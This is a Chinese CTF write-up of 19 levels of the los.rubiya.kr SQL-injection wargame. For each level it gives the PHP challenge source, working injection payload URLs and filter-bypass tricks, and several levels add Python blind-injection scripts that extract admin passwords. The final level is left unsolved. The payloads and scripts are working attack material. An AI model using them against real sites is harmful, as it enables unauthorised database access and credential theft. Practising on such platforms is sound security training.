HOME
HOME
文章目录
  1. 1. gremlin
  2. 2. cobolt
  3. 3. goblin
  4. 4.orc
  5. 5. Walfman
  6. 6. darkelf
  7. 7. orge
  8. 8. troll
  9. 9. vampire
  10. 10. skeleton
  11. 11. golem
  12. 12. darkknight
  13. 13. bugbear
  14. 14. giant
  15. 15. assassin
  16. 16. SUCCUBUS
  17. 17. zombie_assassin
  18. 18. NIGHTMARE
  19. 19. xavis

rubiya注入题目writeup

最近复习注入,便找了许多ctf题目来做,这个题目一共48道注入题,记录一下解题过程。

平台地址为:https://los.rubiya.kr/

1. gremlin

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>

这道题很简单,最基础的注入。

https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=1%27+or+%271%27--+

2. cobolt

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=a%27+union+select+%27admin%27--+

3. goblin

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>

过滤了单引号,只需要将no参数转换为16进制即可

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=-2+union+select+0x61646d696e--+

4.orc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>

对pw进行了addslashed过滤,无法进行绕过,需要在注入点进行盲注,写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
requests.packages.urllib3.disable_warnings()


cookie = {"PHPSESSID": "xxxx"}

payload = "123'+or+ascii(substr(pw,{},1))={}--+"

temp = ''

for i in range(20):
for s in string.printable:
r = requests.get("https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="+payload.format(i+1, ord(s)),
cookies=cookie, proxies={'https': 'http://127.0.0.1:8080', 'http': 'http://127.0.0.1:8080'},
verify=False)
if "Hello admin" in r.text:
temp = temp+s
print(temp)
break

注入出来pw的值为095a9852,传入该值,即可通关

5. Walfman

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>

过滤了空格,可以用/**/注释进行绕过

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=an'/**/union/**/select/**/'admin'%23

6. darkelf

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>

过滤了or,and,真不知过滤这个有啥用,可以直接用上一题的payload

``https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=123'+union+select+'admin'%23`

7. orge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>

跟第四题一样,只是过滤了or,只需要通过||替换or即可,可以用同一个脚本进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
requests.packages.urllib3.disable_warnings()


cookie = {"PHPSESSID": ""}

payload = "123'+||+ascii(substr(pw,{},1))={}--+"

temp = ''

for i in range(20):
for s in string.printable:
r = requests.get("https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw="+payload.format(i+1, ord(s)),
cookies=cookie, proxies={'https': 'http://127.0.0.1:8080', 'http': 'http://127.0.0.1:8080'},
verify=False)
if "Hello admin" in r.text:
temp = temp+s
print(temp)
break

注入出来的结果是7b751aec,pw传入这个值即可通关

8. troll

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match("/admin/", $_GET[id])) exit("HeHe");
$query = "select id from prob_troll where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("troll");
highlight_file(__FILE__);
?>

这道题被坑了很久,preg_match对admin是没有忽略大小写的,所以可以直接大小写绕过即可,单引号在这里是没有办法进行绕过的

https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=Admin

9. vampire

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
$query = "select id from prob_vampire where id='{$_GET[id]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("vampire");
highlight_file(__FILE__);
?>

这道题很简单,对admin采取了替换的方式,直接可以使用双写绕过

https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=adadminmin

10. skeleton

1
2
3
4
5
6
7
8
9
10
11
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>

直接通过注释符将后面的语句注释掉

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=123'+union+select+'admin'%23

11. golem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>

过滤了substr可以用mid或者substring替代,and和or可以分别用&&和||进行替换,要查询admin的密码,需要用以下payload:

1
x'||id+like+'admin'%26%26mid(pw,1,1)+like+'a

用python写成脚本跑密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
requests.packages.urllib3.disable_warnings()


cookie = {"PHPSESSID": "rhp99vgk8f13cu761gt3lnr774"}

payload = "x'||id+like+'admin'%26%26mid(pw,{},1)+like+'{}"

temp = ''

for i in range(20):
for s in string.printable:
r = requests.get("https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw="+payload.format(i+1, s),
cookies=cookie, proxies={'https': 'http://127.0.0.1:8080', 'http': 'http://127.0.0.1:8080'},
verify=False)
if "Hello admin" in r.text:
temp = temp+s
print(temp)
break

最后得到admin的pw为:77d6290b

12. darkknight

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>

过滤了ascii可以用ord替换,过滤了=号可以用<>不等号进行替换,不能用单引号闭合,则在no参数进行注入。注入的paylaod如下

1
1+or+id+like+0x61646d696e+and+ord(mid(pw,1,1))<>22

写python脚本进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
requests.packages.urllib3.disable_warnings()


cookie = {"PHPSESSID": "rhp99vgk8f13cu761gt3lnr774"}

payload = "1+or+id+like+0x61646d696e+and+ord(mid(pw,{},1))<>{}"

temp = ''

for i in range(20):
for s in string.printable:
r = requests.get("https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=1&no="+payload.format(i+1, ord(s)),
cookies=cookie, proxies={'https': 'http://127.0.0.1:8080', 'http': 'http://127.0.0.1:8080'},
verify=False)
if "Hello admin" not in r.text:
temp = temp+s
print(temp)
break

等到admin的pw为:0b70ea1f

13. bugbear

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>

过滤了很多,直接贴代码吧,用in来判断字符可以避免使用like、=、regexp等,no可以使用no>1&&no<3来使no指向2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
requests.packages.urllib3.disable_warnings()


cookie = {"PHPSESSID": "rhp99vgk8f13cu761gt3lnr774"}

payload = '1||no<3%26%26no>1%26%26mid(pw,{},1)/**/in("{}")'

temp = ''

for i in range(20):
for s in string.printable:
r = requests.get("https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=1&no="+payload.format(i+1, s),
cookies=cookie, proxies={'https': 'http://127.0.0.1:8080', 'http': 'http://127.0.0.1:8080'},
verify=False)
if "Hello admin" in r.text:
temp = temp+s
print(temp)
break

跑出来密码:52dc3991

14. giant

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(strlen($_GET[shit])>1) exit("No Hack ~_~");
if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
$query = "select 1234 from{$_GET[shit]}prob_giant where 1";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result[1234]) solve("giant");
highlight_file(__FILE__);
?>

要让from和表名间出现一个空格,过滤了一些字符,这个很简单,直接用burp进行fuzz,%00-%ff共256种可能,共发现%0b,%0c,可以绕过

15. assassin

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>

like型注入,可以使用通配符%进行注入,先单个跑出来存在的字符为def0129,再进行一位一位的猜解,在输入902%的时候即可通关。

16. SUCCUBUS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>

过滤了单引号,但sql语句中存在两个可控点,可以在id参数输入\将第一个单引号进行转义,后续pw即可输入注入语句进行SQL注入

payload:1\&pw=or+1=1--+

闭合后的SQL语句为:**select id from prob_succubus where id='1\' and pw='or 1=1-- '**

17. zombie_assassin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("zombie_assassin");
highlight_file(__FILE__);
?>

思路跟16题基本差不多,只是多了个字符翻转

Paylaod: ?id=%00&pw=%231%20ro

18. NIGHTMARE

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");
if(strlen($_GET[pw])>6) exit("No Hack ~_~");
$query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("nightmare");
highlight_file(__FILE__);
?>

Payload:?pw=%27)=0;%00

mysql连等,从左到右依次计算,select id from prob_nightmare where pw=('')=0;,pwd=’‘为false,然后0为false,false==false,所以最后语句为select id from prob_nightmare where pw=true,即可绕过

19. xavis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
highlight_file(__FILE__);
?>

由于结果是韩文,所以要用二分查找加快速度,查出来结果输入进去还是不太对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import string
requests.packages.urllib3.disable_warnings()


cookie = {"PHPSESSID": "pq2v3qor5eic81d2jsjc3jl41d"}

payload = "1%27+or+id='admin'+and+ord(mid(pw,{},1))>{}--+"

temp = ''

for i in range(12):
min_num = 44032
max_num = 55295
while abs(max_num-min_num)>1:
mid = (max_num+min_num)//2
r = requests.get("https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw="+payload.format(i+1, mid),
cookies=cookie, proxies={'https': 'http://127.0.0.1:8080', 'http': 'http://127.0.0.1:8080'},
verify=False)
if "Hello admin" in r.text:
min_num = mid
else:
max_num = mid

temp = temp+chr(max_num)
print(temp)

跑出来的结果우왕굳각각각각각각각각각